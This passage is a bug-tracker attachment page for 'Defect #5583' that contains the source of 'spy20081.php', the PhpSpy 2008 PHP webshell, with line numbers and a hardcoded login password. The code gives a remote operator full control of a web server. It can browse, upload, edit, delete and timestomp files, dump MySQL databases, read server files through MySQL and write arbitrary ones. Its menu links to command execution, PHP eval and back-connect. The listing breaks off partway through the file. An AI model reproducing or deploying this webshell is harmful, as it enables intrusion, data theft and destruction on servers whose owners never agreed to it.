Project

General

Profile

Defect #5583 » spy20081.php

fdhsui fdhsui, 2010-05-24 10:04

 
1
<?php
2

    
3

    
4

    
5
error_reporting(7);
6
@set_magic_quotes_runtime(0);
7
ob_start();
8
$mtime = explode(' ', microtime());
9
$starttime = $mtime[1] + $mtime[0];
10
define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)).'/');
11
//define('IS_WIN', strstr(PHP_OS, 'WIN') ? 1 : 0 );
12
define('IS_WIN', DIRECTORY_SEPARATOR == '\\');
13
define('IS_COM', class_exists('COM') ? 1 : 0 );
14
define('IS_GPC', get_magic_quotes_gpc());
15
$dis_func = get_cfg_var('disable_functions');
16
define('IS_PHPINFO', (!eregi("phpinfo",$dis_func)) ? 1 : 0 );
17
@set_time_limit(0);
18

    
19
foreach(array('_GET','_POST') as $_request) {
20
	foreach($$_request as $_key => $_value) {
21
		if ($_key{0} != '_') {
22
			if (IS_GPC) {
23
				$_value = s_array($_value);
24
			}
25
			$$_key = $_value;
26
		}
27
	}
28
}
29

    
30
$admin = array();
31
$admin['check'] = true;
32
$admin['pass']  = 'kxlzx';
33

    
34
$admin['cookiepre'] = '';
35
$admin['cookiedomain'] = '';
36
$admin['cookiepath'] = '/';
37
$admin['cookielife'] = 86400;
38

    
39
if ($charset == 'utf8') {
40
	header("content-Type: text/html; charset=utf-8");
41
} elseif ($charset == 'big5') {
42
	header("content-Type: text/html; charset=big5");
43
} elseif ($charset == 'gbk') {
44
	header("content-Type: text/html; charset=gbk");
45
} elseif ($charset == 'latin1') {
46
	header("content-Type: text/html; charset=iso-8859-2");
47
}
48

    
49
$self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
50
$timestamp = time();
51

    
52
if ($action == "logout") {
53
	scookie('phpspypass', '', -86400 * 365);
54
	p('<meta http-equiv="refresh" content="1;URL='.$self.'">');
55
	p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');
56
	exit;
57
}
58
if($admin['check']) {
59
	if ($doing == 'login') {
60
		if ($admin['pass'] == $password) {
61
			scookie('phpspypass', $password);
62
			p('<meta http-equiv="refresh" content="1;URL='.$self.'">');
63
			p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');
64
			exit;
65
		}
66
	}
67
	if ($_COOKIE['phpspypass']) {
68
		if ($_COOKIE['phpspypass'] != $admin['pass']) {
69
			loginpage();
70
		}
71
	} else {
72
		loginpage();
73
	}
74
}
75
$errmsg = '';
76

    
77
// ?鿴PHPINFO
78
if ($action == 'phpinfo') {
79
	if (IS_PHPINFO) {
80
		phpinfo();
81
	} else {
82
		$errmsg = 'phpinfo() function has non-permissible';
83
	}
84
}
85

    
86
// ?????ļ?
87
if ($doing == 'downfile' && $thefile) {
88
	if (!@file_exists($thefile)) {
89
		$errmsg = 'The file you want Downloadable was nonexistent';
90
	} else {
91
		$fileinfo = pathinfo($thefile);
92
		header('Content-type: application/x-'.$fileinfo['extension']);
93
		header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
94
		header('Content-Length: '.filesize($thefile));
95
		@readfile($thefile);
96
		exit;
97
	}
98
}
99

    
100
// ֱ?????ر??????ݿ?
101
if ($doing == 'backupmysql' && !$saveasfile) {
102
	dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
103
	$table = array_flip($table);
104
	$result = q("SHOW tables");
105
	if (!$result) p('<h2>'.mysql_error().'</h2>');
106
	$filename = basename($_SERVER['HTTP_HOST'].'_MySQL.sql');
107
	header('Content-type: application/unknown');
108
	header('Content-Disposition: attachment; filename='.$filename);
109
	$mysqldata = '';
110
	while ($currow = mysql_fetch_array($result)) {
111
		if (isset($table[$currow[0]])) {
112
			$mysqldata .= sqldumptable($currow[0]);
113
		}
114
	}
115
	mysql_close();
116
	exit;
117
}
118

    
119
// ͨ??MYSQL?????ļ?
120
if($doing=='mysqldown'){
121
	if (!$dbname) {
122
		$errmsg = 'Please input dbname';
123
	} else {
124
		dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
125
		if (!file_exists($mysqldlfile)) {
126
			$errmsg = 'The file you want Downloadable was nonexistent';
127
		} else {
128
			$result = q("select load_file('$mysqldlfile');");
129
			if(!$result){
130
				q("DROP TABLE IF EXISTS tmp_angel;");
131
				q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");
132
				q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");
133
				$result = q("select content from tmp_angel");
134
				q("DROP TABLE tmp_angel");
135
			}
136
			$row = @mysql_fetch_array($result);
137
			if (!$row) {
138
				$errmsg = 'Load file failed '.mysql_error();
139
			} else {
140
				$fileinfo = pathinfo($mysqldlfile);
141
				header('Content-type: application/x-'.$fileinfo['extension']);
142
				header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
143
				header("Accept-Length: ".strlen($row[0]));
144
				echo $row[0];
145
				exit;
146
			}
147
		}
148
	}
149
}
150

    
151
?>
152
<html>
153
<head>
154
<meta http-equiv="Content-Type" content="text/html; charset=gbk">
155
<title><?php echo str_replace('.','','P.h.p.S.p.y');?></title>
156
<style type="text/css">
157
body,td{font: 12px Arial,Tahoma;line-height: 16px;}
158
.input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:22px;}
159
.area{font:12px 'Courier New', Monospace;background:#fff;border: 1px solid #666;padding:2px;}
160
.bt {border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:22px;}
161
a {color: #00f;text-decoration:underline;}
162
a:hover{color: #f00;text-decoration:none;}
163
.alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 10px 5px 5px;}
164
.alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f9f9f9;padding:5px 10px 5px 5px;}
165
.focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 10px 5px 5px;}
166
.head td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 10px 5px 5px;font-weight:bold;}
167
.head td span{font-weight:normal;}
168
form{margin:0;padding:0;}
169
h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}
170
ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
171
u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
172
</style>
173
<script type="text/javascript">
174
function CheckAll(form) {
175
	for(var i=0;i<form.elements.length;i++) {
176
		var e = form.elements[i];
177
		if (e.name != 'chkall')
178
		e.checked = form.chkall.checked;
179
    }
180
}
181
function $(id) {
182
	return document.getElementById(id);
183
}
184
function goaction(act){
185
	$('goaction').action.value=act;
186
	$('goaction').submit();
187
}
188
</script>
189
</head>
190
<body style="margin:0;table-layout:fixed; word-break:break-all">
191
<table width="100%" border="0" cellpadding="0" cellspacing="0">
192
	<tr class="head">
193
		<td><span style="float:right;"><a href="http://www.4ngel.net" target="_blank"><?php echo str_replace('.','','P.h.p.S.p.y');?> Ver: 2008</a></span><?php echo $_SERVER['HTTP_HOST'];?> (<?php echo gethostbyname($_SERVER['SERVER_NAME']);?>)</td>
194
	</tr>
195
	<tr class="alt1">
196
		<td><span style="float:right;">Safe Mode:<?php echo getcfg('safe_mode');?></span>
197
			<a href="javascript:goaction('logout');">Logout</a> | 
198
			<a href="javascript:goaction('file');">File Manager</a> | 
199
			<a href="javascript:goaction('sqladmin');">MySQL Manager</a> | 
200
			<a href="javascript:goaction('sqlfile');">MySQL Upload &amp; Download</a> | 
201
			<a href="javascript:goaction('shell');">Execute Command</a> | 
202
			<a href="javascript:goaction('phpenv');">PHP Variable</a> | 
203
			<a href="javascript:goaction('eval');">Eval PHP Code</a>
204
			<?php if (!IS_WIN) {?> | <a href="javascript:goaction('backconnect');">Back Connect</a><?php }?>
205
		</td>
206
	</tr>
207
</table>
208
<table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
209
<?php
210

    
211
formhead(array('name'=>'goaction'));
212
makehide('action');
213
formfoot();
214

    
215
$errmsg && m($errmsg);
216

    
217
// ??ȡ??ǰ·??
218
!$dir && $dir = '.';
219
$nowpath = getPath(SA_ROOT, $dir);
220
if (substr($dir, -1) != '/') {
221
	$dir = $dir.'/';
222
}
223
$uedir = ue($dir);
224

    
225
if (!$action || $action == 'file') {
226

    
227
	// ?ж϶?д???
228
	$dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';
229

    
230
	// ɾ??Ŀ¼
231
	if ($doing == 'deldir' && $thefile) {
232
		if (!file_exists($thefile)) {
233
			m($thefile.' directory does not exist');
234
		} else {
235
			m('Directory delete '.(deltree($thefile) ? basename($thefile).' success' : 'failed'));
236
		}
237
	}
238

    
239
	// ????Ŀ¼
240
	elseif ($newdirname) {
241
		$mkdirs = $nowpath.$newdirname;
242
		if (file_exists($mkdirs)) {
243
			m('Directory has already existed');
244
		} else {
245
			m('Directory created '.(@mkdir($mkdirs,0777) ? 'success' : 'failed'));
246
			@chmod($mkdirs,0777);
247
		}
248
	}
249

    
250
	// ?ϴ??ļ?
251
	elseif ($doupfile) {
252
		m('File upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed'));
253
	}
254

    
255
	// ?༭?ļ?
256
	elseif ($editfilename && $filecontent) {
257
		$fp = @fopen($editfilename,'w');
258
		m('Save file '.(@fwrite($fp,$filecontent) ? 'success' : 'failed'));
259
		@fclose($fp);
260
	}
261

    
262
	// ?༭?ļ?????
263
	elseif ($pfile && $newperm) {
264
		if (!file_exists($pfile)) {
265
			m('The original file does not exist');
266
		} else {
267
			$newperm = base_convert($newperm,8,10);
268
			m('Modify file attributes '.(@chmod($pfile,$newperm) ? 'success' : 'failed'));
269
		}
270
	}
271

    
272
	// ????
273
	elseif ($oldname && $newfilename) {
274
		$nname = $nowpath.$newfilename;
275
		if (file_exists($nname) || !file_exists($oldname)) {
276
			m($nname.' has already existed or original file does not exist');
277
		} else {
278
			m(basename($oldname).' renamed '.basename($nname).(@rename($oldname,$nname) ? ' success' : 'failed'));
279
		}
280
	}
281

    
282
	// ?????ļ?
283
	elseif ($sname && $tofile) {
284
		if (file_exists($tofile) || !file_exists($sname)) {
285
			m('The goal file has already existed or original file does not exist');
286
		} else {
287
			m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' success' : 'failed'));
288
		}
289
	}
290

    
291
	// ??¡ʱ??
292
	elseif ($curfile && $tarfile) {
293
		if (!@file_exists($curfile) || !@file_exists($tarfile)) {
294
			m('The goal file has already existed or original file does not exist');
295
		} else {
296
			$time = @filemtime($tarfile);
297
			m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
298
		}
299
	}
300

    
301
	// ?Զ???ʱ??
302
	elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {
303
		if (!@file_exists($curfile)) {
304
			m(basename($curfile).' does not exist');
305
		} else {
306
			$time = strtotime("$year-$month-$day $hour:$minute:$second");
307
			m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
308
		}
309
	}
310

    
311
	// ???????
312
	elseif($doing == 'downrar') {
313
		if ($dl) {
314
			$dfiles='';
315
			foreach ($dl as $filepath => $value) {
316
				$dfiles.=$filepath.',';
317
			}
318
			$dfiles=substr($dfiles,0,strlen($dfiles)-1);
319
			$dl=explode(',',$dfiles);
320
			$zip=new PHPZip($dl);
321
			$code=$zip->out;
322
			header('Content-type: application/octet-stream');
323
			header('Accept-Ranges: bytes');
324
			header('Accept-Length: '.strlen($code));
325
			header('Content-Disposition: attachment;filename='.$_SERVER['HTTP_HOST'].'_Files.tar.gz');
326
			echo $code;
327
			exit;
328
		} else {
329
			m('Please select file(s)');
330
		}
331
	}
332

    
333
	// ????ɾ???ļ?
334
	elseif($doing == 'delfiles') {
335
		if ($dl) {
336
			$dfiles='';
337
			$succ = $fail = 0;
338
			foreach ($dl as $filepath => $value) {
339
				if (@unlink($filepath)) {
340
					$succ++;
341
				} else {
342
					$fail++;
343
				}
344
			}
345
			m('Deleted file have finished??choose '.count($dl).' success '.$succ.' fail '.$fail);
346
		} else {
347
			m('Please select file(s)');
348
		}
349
	}
350

    
351
	//???????
352
	formhead(array('name'=>'createdir'));
353
	makehide('newdirname');
354
	makehide('dir',$nowpath);
355
	formfoot();
356
	formhead(array('name'=>'fileperm'));
357
	makehide('newperm');
358
	makehide('pfile');
359
	makehide('dir',$nowpath);
360
	formfoot();
361
	formhead(array('name'=>'copyfile'));
362
	makehide('sname');
363
	makehide('tofile');
364
	makehide('dir',$nowpath);
365
	formfoot();
366
	formhead(array('name'=>'rename'));
367
	makehide('oldname');
368
	makehide('newfilename');
369
	makehide('dir',$nowpath);
370
	formfoot();
371
	formhead(array('name'=>'fileopform'));
372
	makehide('action');
373
	makehide('opfile');
374
	makehide('dir');
375
	formfoot();
376

    
377
	$free = @disk_free_space($nowpath);
378
	!$free && $free = 0;
379
	$all = @disk_total_space($nowpath);
380
	!$all && $all = 0;
381
	$used = $all-$free;
382
	$used_percent = @round(100/($all/$free),2);
383
	p('<h2>File Manager - Current disk free '.sizecount($free).' of '.sizecount($all).' ('.$used_percent.'%)</h2>');
384

    
385
?>
386
<table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
387
  <form action="" method="post" id="godir" name="godir">
388
  <tr>
389
    <td nowrap>Current Directory (<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)</td>
390
	<td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:100%;margin:0 8px;"></td>
391
    <td nowrap><input class="bt" value="GO" type="submit"></td>
392
  </tr>
393
  </form>
394
</table>
395
<script type="text/javascript">
396
function createdir(){
397
	var newdirname;
398
	newdirname = prompt('Please input the directory name:', '');
399
	if (!newdirname) return;
400
	$('createdir').newdirname.value=newdirname;
401
	$('createdir').submit();
402
}
403
function fileperm(pfile){
404
	var newperm;
405
	newperm = prompt('Current file:'+pfile+'\nPlease input new attribute:', '');
406
	if (!newperm) return;
407
	$('fileperm').newperm.value=newperm;
408
	$('fileperm').pfile.value=pfile;
409
	$('fileperm').submit();
410
}
411
function copyfile(sname){
412
	var tofile;
413
	tofile = prompt('Original file:'+sname+'\nPlease input object file (fullpath):', '');
414
	if (!tofile) return;
415
	$('copyfile').tofile.value=tofile;
416
	$('copyfile').sname.value=sname;
417
	$('copyfile').submit();
418
}
419
function rename(oldname){
420
	var newfilename;
421
	newfilename = prompt('Former file name:'+oldname+'\nPlease input new filename:', '');
422
	if (!newfilename) return;
423
	$('rename').newfilename.value=newfilename;
424
	$('rename').oldname.value=oldname;
425
	$('rename').submit();
426
}
427
function dofile(doing,thefile,m){
428
	if (m && !confirm(m)) {
429
		return;
430
	}
431
	$('filelist').doing.value=doing;
432
	if (thefile){
433
		$('filelist').thefile.value=thefile;
434
	}
435
	$('filelist').submit();
436
}
437
function createfile(nowpath){
438
	var filename;
439
	filename = prompt('Please input the file name:', '');
440
	if (!filename) return;
441
	opfile('editfile',nowpath + filename,nowpath);
442
}
443
function opfile(action,opfile,dir){
444
	$('fileopform').action.value=action;
445
	$('fileopform').opfile.value=opfile;
446
	$('fileopform').dir.value=dir;
447
	$('fileopform').submit();
448
}
449
function godir(dir,view_writable){
450
	if (view_writable) {
451
		$('godir').view_writable.value=1;
452
	}
453
	$('godir').dir.value=dir;
454
	$('godir').submit();
455
}
456
</script>
457
  <?php
458
	tbhead();
459
	p('<form action="'.$self.'" method="POST" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">');
460
	p('<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="bt" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="'.$dir.'" type="hidden" /><input name="dir" value="'.$dir.'" type="hidden" /></div>');
461
	p('<a href="javascript:godir(\''.$_SERVER["DOCUMENT_ROOT"].'\');">WebRoot</a>');
462
	if ($view_writable) {
463
		p(' | <a href="javascript:godir(\''.$nowpath.'\');">View All</a>');
464
	} else {
465
		p(' | <a href="javascript:godir(\''.$nowpath.'\',\'1\');">View Writable</a>');
466
	}
467
	p(' | <a href="javascript:createdir();">Create Directory</a> | <a href="javascript:createfile(\''.$nowpath.'\');">Create File</a>');
468
	if (IS_WIN && IS_COM) {
469
		$obj = new COM('scripting.filesystemobject');
470
		if ($obj && is_object($obj)) {
471
			$DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk');
472
			foreach($obj->Drives as $drive) {
473
				if ($drive->DriveType == 2) {
474
					p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Size:'.sizecount($drive->TotalSize).'&#13;Free:'.sizecount($drive->FreeSpace).'&#13;Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
475
				} else {
476
					p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
477
				}
478
			}
479
		}
480
	}
481

    
482
	p('</td></tr></form>');
483

    
484
	p('<tr class="head"><td>&nbsp;</td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>');
485

    
486
	//?鿴???п?д?ļ???Ŀ¼
487
	$dirdata=array();
488
	$filedata=array();
489

    
490
	if ($view_writable) {
491
		$dirdata = GetList($nowpath);
492
	} else {
493
		// Ŀ¼?б?
494
		$dirs=@opendir($dir);
495
		while ($file=@readdir($dirs)) {
496
			$filepath=$nowpath.$file;
497
			if(@is_dir($filepath)){
498
				$dirdb['filename']=$file;
499
				$dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
500
				$dirdb['dirchmod']=getChmod($filepath);
501
				$dirdb['dirperm']=getPerms($filepath);
502
				$dirdb['fileowner']=getUser($filepath);
503
				$dirdb['dirlink']=$nowpath;
504
				$dirdb['server_link']=$filepath;
505
				$dirdb['client_link']=ue($filepath);
506
				$dirdata[]=$dirdb;
507
			} else {		
508
				$filedb['filename']=$file;
509
				$filedb['size']=sizecount(@filesize($filepath));
510
				$filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
511
				$filedb['filechmod']=getChmod($filepath);
512
				$filedb['fileperm']=getPerms($filepath);
513
				$filedb['fileowner']=getUser($filepath);
514
				$filedb['dirlink']=$nowpath;
515
				$filedb['server_link']=$filepath;
516
				$filedb['client_link']=ue($filepath);
517
				$filedata[]=$filedb;
518
			}
519
		}// while
520
		unset($dirdb);
521
		unset($filedb);
522
		@closedir($dirs);
523
	}
524
	@sort($dirdata);
525
	@sort($filedata);
526
	$dir_i = '0';
527
	foreach($dirdata as $key => $dirdb){
528
		if($dirdb['filename']!='..' && $dirdb['filename']!='.') {
529
			$thisbg = bg();
530
			p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
531
			p('<td width="2%" nowrap><font face="wingdings" size="3">0</font></td>');
532
			p('<td><a href="javascript:godir(\''.$dirdb['server_link'].'\');">'.$dirdb['filename'].'</a></td>');
533
			p('<td nowrap>'.$dirdb['mtime'].'</td>');
534
			p('<td nowrap>--</td>');
535
			p('<td nowrap>');
536
			p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirchmod'].'</a> / ');
537
			p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirperm'].'</a>'.$dirdb['fileowner'].'</td>');
538
			p('<td nowrap><a href="javascript:dofile(\'deldir\',\''.$dirdb['server_link'].'\',\'Are you sure will delete '.$dirdb['filename'].'? \\n\\nIf non-empty directory, will be delete all the files.\')">Del</a> | <a href="javascript:rename(\''.$dirdb['server_link'].'\');">Rename</a></td>');
539
			p('</tr>');
540
			$dir_i++;
541
		} else {
542
			if($dirdb['filename']=='..') {
543
				p('<tr class='.bg().'>');
544
				p('<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\''.getUpPath($nowpath).'\');">Parent Directory</a></td>');
545
				p('</tr>');
546
			}
547
		}
548
	}
549

    
550
	p('<tr bgcolor="#dddddd" stlye="border-top:1px solid #fff;border-bottom:1px solid #ddd;"><td colspan="6" height="5"></td></tr>');
551
	p('<form id="filelist" name="filelist" action="'.$self.'" method="post">');
552
	makehide('action','file');
553
	makehide('thefile');
554
	makehide('doing');
555
	makehide('dir',$nowpath);
556
	$file_i = '0';
557
	foreach($filedata as $key => $filedb){
558
		if($filedb['filename']!='..' && $filedb['filename']!='.') {
559
			$fileurl = str_replace(SA_ROOT,'',$filedb['server_link']);
560
			$thisbg = bg();
561
			p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
562
			p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl['.$filedb['server_link'].']"></td>');
563
			p('<td><a href="'.$fileurl.'" target="_blank">'.$filedb['filename'].'</a></td>');
564
			p('<td nowrap>'.$filedb['mtime'].'</td>');
565
			p('<td nowrap>'.$filedb['size'].'</td>');
566
			p('<td nowrap>');
567
			p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['filechmod'].'</a> / ');
568
			p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['fileperm'].'</a>'.$filedb['fileowner'].'</td>');
569
			p('<td nowrap>');
570
			p('<a href="javascript:dofile(\'downfile\',\''.$filedb['server_link'].'\');">Down</a> | ');
571
			p('<a href="javascript:copyfile(\''.$filedb['server_link'].'\');">Copy</a> | ');
572
			p('<a href="javascript:opfile(\'editfile\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Edit</a> | ');
573
			p('<a href="javascript:rename(\''.$filedb['server_link'].'\');">Rename</a> | ');
574
			p('<a href="javascript:opfile(\'newtime\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Time</a>');
575
			p('</td></tr>');
576
			$file_i++;
577
		}
578
	}
579
	p('<tr class="'.bg().'"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">Packing download selected</a> - <a href="javascript:dofile(\'delfiles\');">Delete selected</a></td><td colspan="4" align="right">'.$dir_i.' directories / '.$file_i.' files</td></tr>');
580
	p('</form></table>');
581
}// end dir
582

    
583
elseif ($action == 'sqlfile') {
584
	if($doing=="mysqlupload"){
585
		$file = $_FILES['uploadfile'];
586
		$filename = $file['tmp_name'];
587
		if (file_exists($savepath)) {
588
			m('The goal file has already existed');
589
		} else {
590
			if(!$filename) {
591
				m('Please choose a file');
592
			} else {
593
				$fp=@fopen($filename,'r');
594
				$contents=@fread($fp, filesize($filename));
595
				@fclose($fp);
596
				$contents = bin2hex($contents);
597
				if(!$upname) $upname = $file['name'];
598
				dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
599
				$result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';");
600
				m($result ? 'Upload success' : 'Upload has failed: '.mysql_error());
601
			}
602
		}
603
	}
604
?>
605
<script type="text/javascript">
606
function mysqlfile(doing){
607
	if(!doing) return;
608
	$('doing').value=doing;
609
	$('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;
610
	$('mysqlfile').dbport.value=$('dbinfo').dbport.value;
611
	$('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;
612
	$('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;
613
	$('mysqlfile').dbname.value=$('dbinfo').dbname.value;
614
	$('mysqlfile').charset.value=$('dbinfo').charset.value;
615
	$('mysqlfile').submit();
616
}
617
</script>
618
<?php
619
	!$dbhost && $dbhost = 'localhost';
620
	!$dbuser && $dbuser = 'root';
621
	!$dbport && $dbport = '3306';
622
	$charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
623
	formhead(array('title'=>'MYSQL Information','name'=>'dbinfo'));
624
	makehide('action','sqlfile');
625
	p('<p>');
626
	p('DBHost:');
627
	makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
628
	p(':');
629
	makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
630
	p('DBUser:');
631
	makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
632
	p('DBPass:');
633
	makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
634
	p('DBName:');
635
	makeinput(array('name'=>'dbname','size'=>15,'value'=>$dbname));
636
	p('DBCharset:');
637
	makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
638
	p('</p>');
639
	formfoot();
640
	p('<form action="'.$self.'" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">');
641
	p('<h2>Upload file</h2>');
642
	p('<p><b>This operation the DB user must has FILE privilege</b></p>');
643
	p('<p>Save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">Upload</a></p>');
644
	p('<h2>Download file</h2>');
645
	p('<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\'mysqldown\');">Download</a></p>');
646
	makehide('dbhost');
647
	makehide('dbport');
648
	makehide('dbuser');
649
	makehide('dbpass');
650
	makehide('dbname');
651
	makehide('charset');
652
	makehide('doing');
653
	makehide('action','sqlfile');
654
	p('</form>');
655
}
656

    
657
elseif ($action == 'sqladmin') {
658
	!$dbhost && $dbhost = 'localhost';
659
	!$dbuser && $dbuser = 'root';
660
	!$dbport && $dbport = '3306';
661
	$dbform = '<input type="hidden" id="connect" name="connect" value="1" />';
662
	if(isset($dbhost)){
663
		$dbform .= "<input type=\"hidden\" id=\"dbhost\" name=\"dbhost\" value=\"$dbhost\" />\n";
664
	}
665
	if(isset($dbuser)) {
666
		$dbform .= "<input type=\"hidden\" id=\"dbuser\" name=\"dbuser\" value=\"$dbuser\" />\n";
667
	}
668
	if(isset($dbpass)) {
669
		$dbform .= "<input type=\"hidden\" id=\"dbpass\" name=\"dbpass\" value=\"$dbpass\" />\n";
670
	}
671
	if(isset($dbport)) {
672
		$dbform .= "<input type=\"hidden\" id=\"dbport\" name=\"dbport\" value=\"$dbport\" />\n";
673
	}
674
	if(isset($dbname)) {
675
		$dbform .= "<input type=\"hidden\" id=\"dbname\" name=\"dbname\" value=\"$dbname\" />\n";
676
	}
677
	if(isset($charset)) {
678
		$dbform .= "<input type=\"hidden\" id=\"charset\" name=\"charset\" value=\"$charset\" />\n";
679
	}
680

    
681
	if ($doing == 'backupmysql' && $saveasfile) {
682
		if (!$table) {
683
			m('Please choose the table');
684
		} else {
685
			dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
686
			$table = array_flip($table);
687
			$fp = @fopen($path,'w');
688
			if ($fp) {
689
				$result = q('SHOW tables');
690
				if (!$result) p('<h2>'.mysql_error().'</h2>');
691
				$mysqldata = '';
692
				while ($currow = mysql_fetch_array($result)) {
693
					if (isset($table[$currow[0]])) {
694
						sqldumptable($currow[0], $fp);
695
					}
696
				}
697
				fclose($fp);
698
				$fileurl = str_replace(SA_ROOT,'',$path);
699
				m('Database has success backup to <a href="'.$fileurl.'" target="_blank">'.$path.'</a>');
700
				mysql_close();
701
			} else {
702
				m('Backup failed');
703
			}
704
		}
705
	}
706
	if ($insert && $insertsql) {
707
		$keystr = $valstr = $tmp = '';
708
		foreach($insertsql as $key => $val) {
709
			if ($val) {
710
				$keystr .= $tmp.$key;
711
				$valstr .= $tmp."'".addslashes($val)."'";
712
				$tmp = ',';
713
			}
714
		}
715
		if ($keystr && $valstr) {
716
			dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
717
			m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());
718
		}
719
	}
720
	if ($update && $insertsql && $base64) {
721
		$valstr = $tmp = '';
722
		foreach($insertsql as $key => $val) {
723
			$valstr .= $tmp.$key."='".addslashes($val)."'";
724
			$tmp = ',';
725
		}
726
		if ($valstr) {
727
			$where = base64_decode($base64);
728
			dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
729
			m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error());
730
		}
731
	}
732
	if ($doing == 'del' && $base64) {
733
		$where = base64_decode($base64);
734
		$delete_sql = "DELETE FROM $tablename WHERE $where";
735
		dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
736
		m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());
737
	}
738

    
739
	if ($tablename && $doing == 'drop') {
740
		dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
741
		if (q("DROP TABLE $tablename")) {
742
			m('Drop table of success');
743
			$tablename = '';
744
		} else {
745
			m(mysql_error());
746
		}
747
	}
748

    
749
	$charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
750

    
751
	formhead(array('title'=>'MYSQL Manager'));
752
	makehide('action','sqladmin');
753
	p('<p>');
754
	p('DBHost:');
755
